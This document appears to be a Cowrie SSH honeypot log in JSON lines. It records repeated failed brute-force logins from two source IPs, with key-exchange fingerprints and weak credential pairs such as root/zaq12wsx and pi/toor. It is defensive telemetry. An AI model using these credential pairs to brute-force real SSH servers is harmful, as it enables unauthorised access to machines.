{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40522,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c4f24a8cced","protocol":"ssh","message":"New connection: 45.156.87.147:40522 (10.17.0.5:22) [session: 0c4f24a8cced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:01.601729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:01.606587Z","src_ip":"45.156.87.147","session":"0c4f24a8cced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:01.691818Z","src_ip":"45.156.87.147","session":"0c4f24a8cced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234","message":"login attempt [sam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:01.941746Z","src_ip":"45.156.87.147","session":"0c4f24a8cced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:03.040751Z","src_ip":"45.156.87.147","session":"0c4f24a8cced","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40552,"dst_ip":"10.17.0.5","dst_port":22,"session":"03df3b6bec52","protocol":"ssh","message":"New connection: 45.156.87.147:40552 (10.17.0.5:22) [session: 03df3b6bec52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:07.656081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:07.660340Z","src_ip":"45.156.87.147","session":"03df3b6bec52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:07.744806Z","src_ip":"45.156.87.147","session":"03df3b6bec52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty","message":"login attempt [deploy/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:08.001699Z","src_ip":"45.156.87.147","session":"03df3b6bec52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:09.100305Z","src_ip":"45.156.87.147","session":"03df3b6bec52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54766,"dst_ip":"10.17.0.5","dst_port":22,"session":"73cf2a87c17a","protocol":"ssh","message":"New connection: 45.156.87.147:54766 (10.17.0.5:22) [session: 73cf2a87c17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:13.907897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:13.912264Z","src_ip":"45.156.87.147","session":"73cf2a87c17a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:13.994728Z","src_ip":"45.156.87.147","session":"73cf2a87c17a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:14.242589Z","src_ip":"45.156.87.147","session":"73cf2a87c17a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:15.326118Z","src_ip":"45.156.87.147","session":"73cf2a87c17a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39726,"dst_ip":"10.17.0.5","dst_port":22,"session":"03e928d54669","protocol":"ssh","message":"New connection: 45.156.87.147:39726 (10.17.0.5:22) [session: 03e928d54669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:20.014821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:20.022523Z","src_ip":"45.156.87.147","session":"03e928d54669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:20.103627Z","src_ip":"45.156.87.147","session":"03e928d54669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"123456","message":"login attempt [john/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:20.350474Z","src_ip":"45.156.87.147","session":"03e928d54669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:21.434082Z","src_ip":"45.156.87.147","session":"03e928d54669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39730,"dst_ip":"10.17.0.5","dst_port":22,"session":"de2336c0a8c5","protocol":"ssh","message":"New connection: 45.156.87.147:39730 (10.17.0.5:22) [session: de2336c0a8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:25.993580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:25.997396Z","src_ip":"45.156.87.147","session":"de2336c0a8c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:26.079720Z","src_ip":"45.156.87.147","session":"de2336c0a8c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"root","message":"login attempt [appuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:26.332716Z","src_ip":"45.156.87.147","session":"de2336c0a8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:27.422232Z","src_ip":"45.156.87.147","session":"de2336c0a8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45218,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ca7570dbaae","protocol":"ssh","message":"New connection: 45.156.87.147:45218 (10.17.0.5:22) [session: 5ca7570dbaae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:31.908387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:31.914671Z","src_ip":"45.156.87.147","session":"5ca7570dbaae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:31.995142Z","src_ip":"45.156.87.147","session":"5ca7570dbaae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"toor","message":"login attempt [pi/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:32.249151Z","src_ip":"45.156.87.147","session":"5ca7570dbaae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:33.339765Z","src_ip":"45.156.87.147","session":"5ca7570dbaae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45232,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fe7d04aa0b3","protocol":"ssh","message":"New connection: 45.156.87.147:45232 (10.17.0.5:22) [session: 9fe7d04aa0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:38.225611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:38.230010Z","src_ip":"45.156.87.147","session":"9fe7d04aa0b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:38.389867Z","src_ip":"45.156.87.147","session":"9fe7d04aa0b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:38.676948Z","src_ip":"45.156.87.147","session":"9fe7d04aa0b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:39.760395Z","src_ip":"45.156.87.147","session":"9fe7d04aa0b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35596,"dst_ip":"159.203.135.109","dst_port":22,"session":"2404e0de785b","protocol":"ssh","message":"New connection: 80.94.92.184:35596 (159.203.135.109:22) [session: 2404e0de785b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:41.387483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:41.763913Z","src_ip":"80.94.92.184","session":"2404e0de785b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:41.766829Z","src_ip":"80.94.92.184","session":"2404e0de785b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:43.313765Z","src_ip":"80.94.92.184","session":"2404e0de785b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53168,"dst_ip":"10.17.0.5","dst_port":22,"session":"31c251696b05","protocol":"ssh","message":"New connection: 45.156.87.147:53168 (10.17.0.5:22) [session: 31c251696b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:44.647402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:44.651570Z","src_ip":"45.156.87.147","session":"31c251696b05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"]